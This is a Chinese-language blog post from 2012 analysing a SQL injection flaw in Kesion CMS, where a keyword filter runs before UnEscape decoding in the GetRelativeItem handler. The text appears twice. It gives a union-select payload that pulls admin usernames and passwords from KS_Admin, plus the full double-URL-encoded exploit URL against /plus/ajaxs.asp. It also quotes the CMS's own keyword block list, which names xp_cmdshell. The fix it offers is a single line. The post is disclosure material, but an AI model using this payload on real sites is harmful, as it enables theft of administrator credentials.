Kesion cms注入漏洞分析及其修復(fù)方案
發(fā)布時(shí)間:2012-07-07 17:52:18 作者:ywledoc
我要評(píng)論

Kesion cms注入漏洞.我們來分析一下
函數(shù)過濾混亂導(dǎo)致注入
Dim KS:Set KS=New PublicCls
Dim Action
Action=KS.S("Action")
Select Case Action
Case "Ctoe" CtoE
Case "GetTags" GetTags
Case "GetRelativeItem" GetRelativeItem //問題函數(shù)
...skip...
Case "getonlinelist" getonlinelist
End Select
Sub GetRelativeItem() //漏洞函數(shù)開始
Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置,只調(diào)用ks.s函數(shù),無其它過濾。
Dim Rtitle:rtitle=lcase(KS.G("rtitle"))
Dim RKey:Rkey=lcase(KS.G("Rkey"))
Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid"))
Dim ID:ID=KS.ChkClng(KS.G("ID"))
Dim Param,RS,SQL,k,SqlStr
If Key<>"" Then
If (Rtitle="true" Or RKey="true") Then
If Rtitle="true" Then
param=Param & " title like '%" & key & "%'"http://類似搜索型注入漏洞。
end if
If Rkey="true" Then
If Param="" Then
Param=Param & " keywords like '%" & key & "%'"
Else
Param=Param & " or keywords like '%" & key & "%'"
End If
End If
Else
Param=Param & " keywords like '%" & key & "%'"
End If
End If
If Param<>"" Then
Param=" where InfoID<>" & id & " and (" & param & ")"
else
Param=" where InfoID<>" & id
end if
If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID
Param=Param & " and verific=1"
SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查詢
Set RS=Server.CreateObject("ADODB.RECORDSET")
RS.Open SqlStr,conn,1,1
If Not RS.Eof Then
SQL=RS.GetRows(-1)
End If
RS.Close
先進(jìn)行了過濾,然后才調(diào)用UnEscape解碼,
Public Function S(Str)
S = DelSql(Replace(Replace(Request(Str), "'", ""), """", ""))
Function DelSql(Str)
Dim SplitSqlStr,SplitSqlArr,I
SplitSqlStr="dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell"
SplitSqlArr = Split(SplitSqlStr,"|")
For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)
If Instr(LCase(Str),SplitSqlArr(I))>0 Then
Die "<script>alert('系統(tǒng)警告!\n\n1、您提交的數(shù)據(jù)有惡意字符" & SplitSqlArr(I) &";\n2、您的數(shù)據(jù)已經(jīng)被記錄;\n3、您的IP:"&GetIP&";\n4、操作日期:"&Now&";\n Powered By Kesion.Com!');window.close();</script>"
End if
Next
DelSql = Str
End Function
如果配合Unescape()函數(shù),剛過濾不會(huì)生效??梢圆捎胾nicode編碼方式,則不會(huì)在瀏覽器中出現(xiàn)被過濾的字符。例如,單引號(hào)可以編碼為。%2527,經(jīng)過解碼后還是“'”號(hào),這樣的話,就可以利用類似php的二次編碼漏洞的方式繞過過濾了。
注入語句:%') union select 1,2,username+'|'+ password from KS_Admin
轉(zhuǎn)換如下:
/plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500
修復(fù)方案:
UnEscape()函數(shù)調(diào)用位置放在函數(shù)體內(nèi),或者不調(diào)用。
復(fù)制代碼
代碼如下:Dim KS:Set KS=New PublicCls
Dim Action
Action=KS.S("Action")
Select Case Action
Case "Ctoe" CtoE
Case "GetTags" GetTags
Case "GetRelativeItem" GetRelativeItem //問題函數(shù)
...skip...
Case "getonlinelist" getonlinelist
End Select
Sub GetRelativeItem() //漏洞函數(shù)開始
Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置,只調(diào)用ks.s函數(shù),無其它過濾。
Dim Rtitle:rtitle=lcase(KS.G("rtitle"))
Dim RKey:Rkey=lcase(KS.G("Rkey"))
Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid"))
Dim ID:ID=KS.ChkClng(KS.G("ID"))
Dim Param,RS,SQL,k,SqlStr
If Key<>"" Then
If (Rtitle="true" Or RKey="true") Then
If Rtitle="true" Then
param=Param & " title like '%" & key & "%'"http://類似搜索型注入漏洞。
end if
If Rkey="true" Then
If Param="" Then
Param=Param & " keywords like '%" & key & "%'"
Else
Param=Param & " or keywords like '%" & key & "%'"
End If
End If
Else
Param=Param & " keywords like '%" & key & "%'"
End If
End If
If Param<>"" Then
Param=" where InfoID<>" & id & " and (" & param & ")"
else
Param=" where InfoID<>" & id
end if
If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID
Param=Param & " and verific=1"
SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查詢
Set RS=Server.CreateObject("ADODB.RECORDSET")
RS.Open SqlStr,conn,1,1
If Not RS.Eof Then
SQL=RS.GetRows(-1)
End If
RS.Close
先進(jìn)行了過濾,然后才調(diào)用UnEscape解碼,
復(fù)制代碼
代碼如下:Public Function S(Str)
S = DelSql(Replace(Replace(Request(Str), "'", ""), """", ""))
Function DelSql(Str)
Dim SplitSqlStr,SplitSqlArr,I
SplitSqlStr="dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell"
SplitSqlArr = Split(SplitSqlStr,"|")
For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)
If Instr(LCase(Str),SplitSqlArr(I))>0 Then
Die "<script>alert('系統(tǒng)警告!\n\n1、您提交的數(shù)據(jù)有惡意字符" & SplitSqlArr(I) &";\n2、您的數(shù)據(jù)已經(jīng)被記錄;\n3、您的IP:"&GetIP&";\n4、操作日期:"&Now&";\n Powered By Kesion.Com!');window.close();</script>"
End if
Next
DelSql = Str
End Function
如果配合Unescape()函數(shù),剛過濾不會(huì)生效??梢圆捎胾nicode編碼方式,則不會(huì)在瀏覽器中出現(xiàn)被過濾的字符。例如,單引號(hào)可以編碼為。%2527,經(jīng)過解碼后還是“'”號(hào),這樣的話,就可以利用類似php的二次編碼漏洞的方式繞過過濾了。
注入語句:%') union select 1,2,username+'|'+ password from KS_Admin
轉(zhuǎn)換如下:
/plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500
修復(fù)方案:
UnEscape()函數(shù)調(diào)用位置放在函數(shù)體內(nèi),或者不調(diào)用。
相關(guān)文章
DedeCMS全版本通殺SQL注入漏洞利用代碼及工具2014年2月28日
近日,網(wǎng)友在dedecms中發(fā)現(xiàn)了全版本通殺的SQL注入漏洞,目前官方最新版已修復(fù)該漏洞,大家早點(diǎn)去官方下載補(bǔ)丁2014年2月28日2014-02-28路由器、交換機(jī)及防火墻漏洞的發(fā)現(xiàn)與防范方法
在本文中,我們將探討為什么這些設(shè)備容易受到攻擊,現(xiàn)在有多少惡意網(wǎng)絡(luò)攻擊是瞄準(zhǔn)路由器、交換機(jī)和防火墻的以及企業(yè)應(yīng)該采取什么措施來保護(hù)其網(wǎng)絡(luò)2013-12-11- 最近看到網(wǎng)上曝出的dedecms最新版本的一個(gè)注入漏洞利用,漏洞PoC和分析文章也已在網(wǎng)上公開.但是在我實(shí)際測試過程當(dāng)中,發(fā)現(xiàn)無法復(fù)現(xiàn)2013-06-11
nginx+cgi解析php容易出現(xiàn)的漏洞的分析
本文簡要的分析nginx+cgi解析php容易出現(xiàn)的漏洞2012-10-25163郵箱記事本存儲(chǔ)型Xss漏洞分析與補(bǔ)救
我們來分析一下163郵箱記事本存儲(chǔ)型Xss漏洞分析與補(bǔ)救措施2012-10-23- 偶爾在網(wǎng)上看到這些,拿來和大家一塊看看,也好讓各個(gè)站長懂得保護(hù)自己的網(wǎng)站2012-10-16
微軟發(fā)布Fix it工具修復(fù)IE7/8/9漏洞 ie用戶請(qǐng)盡快修復(fù)(0day漏洞)
日前有安全機(jī)構(gòu)曝光了IE瀏覽器的一個(gè)0day漏洞,利用這個(gè)0day漏洞(CVE-2012-4681)攻擊者可以繞過Windows的ASLR(地址空間布局隨機(jī)化)防護(hù)機(jī)制,訪問用戶曾訪問過的計(jì)算機(jī)2012-09-20網(wǎng)站的九大敵人有哪些 千萬別給Web應(yīng)用漏洞可趁之機(jī)
過去,網(wǎng)站的內(nèi)容大多是靜態(tài)的。隨著HTML5的流行,Web應(yīng)用進(jìn)入一個(gè)嶄新階段,內(nèi)容的動(dòng)態(tài)化和實(shí)時(shí)共享讓阻攔不良內(nèi)容或惡意軟件變得更加復(fù)雜,公司和個(gè)人的重要信息也被暴于2012-08-23WEBSHELL箱子系統(tǒng)V1.0收信箱子代碼漏洞分析及解決方法
來分析一下WEBSHELL箱子系統(tǒng)的漏洞2012-08-17了解網(wǎng)站的九大敵人 謹(jǐn)防web漏洞威脅
過去,網(wǎng)站的內(nèi)容大多是靜態(tài)的。隨著HTML5的流行,Web應(yīng)用進(jìn)入一個(gè)嶄新階段,內(nèi)容的動(dòng)態(tài)化和實(shí)時(shí)共享讓阻攔不良內(nèi)容或惡意軟件變得更加復(fù)雜,公司和個(gè)人的重要信息也被暴于2012-08-09